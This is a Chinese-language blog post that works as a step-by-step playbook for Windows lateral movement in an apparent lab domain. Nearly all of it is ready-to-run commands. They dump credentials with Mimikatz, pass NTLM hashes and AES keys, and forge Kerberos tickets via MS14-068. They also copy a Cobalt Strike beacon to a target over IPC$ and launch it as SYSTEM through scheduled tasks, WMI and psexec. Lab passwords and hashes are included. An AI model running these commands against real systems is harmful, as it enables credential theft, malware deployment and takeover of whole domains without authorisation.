本文已参与「新人创作礼」活动.一起开启掘金创作之路。
一、IPC横向
IPC (Internet Process Connection) 共享命名管道的资源,是为了实现进程间通信而开放的命名管道。IPC 可以通过验证用户名和密码获得相应的权限,使用 139、445 端口。
1、利用条件
1、目标机开启了139和445端口;
2、目标主机管理员开启了ipc$默认共享;
3、知道目标机的账户密码。
2、命令
建立IPC连接命令:
net use \192.168.189.193\ipc$ chiza2596@ /user:administrator
断开连接:
net use \192.168.189.193\ipc$ /del
查看连接是否建立:
net use
IPC连接+计划任务
1、建立IPC连接
net use \192.168.189.193\ipc$ chiza2596@ /user:administrator
2、复制文件到靶机
copy calc.bat \192.168.189.193\c$
3、查看靶机时间
net time \192.168.189.193
4、创建计划任务
schtasks /create /s 192.168.189.193 /tn test /sc onstart /tr C:/calc.bat /ru system /f
5、运行计划任务
schtasks /run /s 192.168.189.193 /tn test /i
6、运行之后成功创建了ipconfig.txt文件
IPC连接+计划任务上线CS
1、CS创建监听
2、复制木马到靶机
shell copy artifact.exe \192.168.189.193\c$
3、创建定时任务
shell schtasks /create /s 192.168.189.193 /tn test /sc onstart /tr C:\artifact.exe /ru system /f
4、运行定时任务,运行完成成功上线CS
schtasks /run /s 192.168.189.193 /tn test /i
二、WMI 横向
WMI 全称 “windows 管理规范”,从 win2003 开始一直存在。它原本的作用是方便管理员对 windows 主机进行管理。因此在内网渗透中,我们可以使用 WMI 进行横向移动。
利用条件
1、WMI服务开启,端口135,默认开启。
2、防火墙允许135、445等端口通信。
3、知道目标机的账户密码。
1、wmic
wmic /node:192.168.189.193 /user:Administrator /password:chiza2596@ process call create "cmd.exe /c ipconfig >C:\ip.txt"
2、 wmic执行的命令没有回显,需要ipc$连接一下使用type查看结果
type \192.168.189.193\c$\ip.txt
2、wmiexec(不需要明文密码)
(1)、需要知道靶机的NTLM hash值
在靶机中利用Mimikatz获取 NTLM hash值
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords" "exit"
(2)、获取到靶机的NTLM hash之后使用wmiexec进行横向
wmiexec.exe -hashes 00000000000000000000000000000000:f1c65e065aae4e0b27424577c0cd192d administrator@192.168.189.193
3、wmiexec.py
python wmiexec.py -hashes 00000000000000000000000000000000:f1c65e065aae4e0b27424577c0cd192d administrator@192.168.189.193
执行命令
python wmiexec.py -hashes 00000000000000000000000000000000:f1c65e065aae4e0b27424577c0cd192d administrator@192.168.189.193 "cmd.exe /c c:\artifact.exe"
三、smb 横向
利用 SMB 服务可以通过明文或 hash 传递来远程执行。
利用条件
1、445端口开放
2、知道账号密码
1、psexec
PsExec64.exe -i \192.168.189.193 -u administrator -p chiza2596@ cmd
2、smbexec.py
python smbexec.py -hashes :f1c65e065aae4e0b27424577c0cd192d administrator@192.168.189.193
四、PTH - 哈希传递
PTH,即 Pass The Hash,通过找到与账号相关的密码散列值 (通常是 NTLM Hash) 来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。
利用条件
1、在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
2、在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1
1、mimikatz-PTH
1、mimikatz privilege::debug
2、mimikatz sekurlsa::pth /user:administrator /domain:hacker.lab /ntlm:f1c65e065aae4e0b27424577c0cd192d
3、steal_token PID
五、PTK-密钥传递
1、Mimikatz-PTK
即 Pass The Key ,当系统安装了 KB2871997 补丁且禁用了 NTLM 的时候,那我们抓取到的 ntlm hash. 也就失去了作用,但是可以通过 pass the key 的攻击方式获得权限。
privilege::debug
sekurlsa::ekeys
sekurlsa::pth /user:administrator /domain:hacker.lab /aes256:4022c8db4c026872219b1f101fe0be4077c4a3196bb6a55c8028d7ba1281562e"
成功后返回一个cmd
六、票据传递(ms14-068)
利用条件
1、域控没有打MS14-068的补丁(KB3011780)
2、拿下一台加入域的计算机
3、有这台域内计算机的域用户密码和SID
利用过程
1、先清空当前机器的票据信息
mimikatz kerberos::list //列出当前票据
mimikatz kerberos::purge //清除票据
2、然后查看本机的SID
whoami /all
3、ms14-068生成tgt票据
ms14-068.exe -u win7@hacker.lab -p chiza2596! -s S-1-5-21-3448222900-495573751-2847398868-1105 -d DC.hacker.lab
4、导入票据
mimikatz kerberos::ptc TGT_win7@hacker.lab.ccache
5、读取域控文件
shell dir \DC.hacker.lab\c$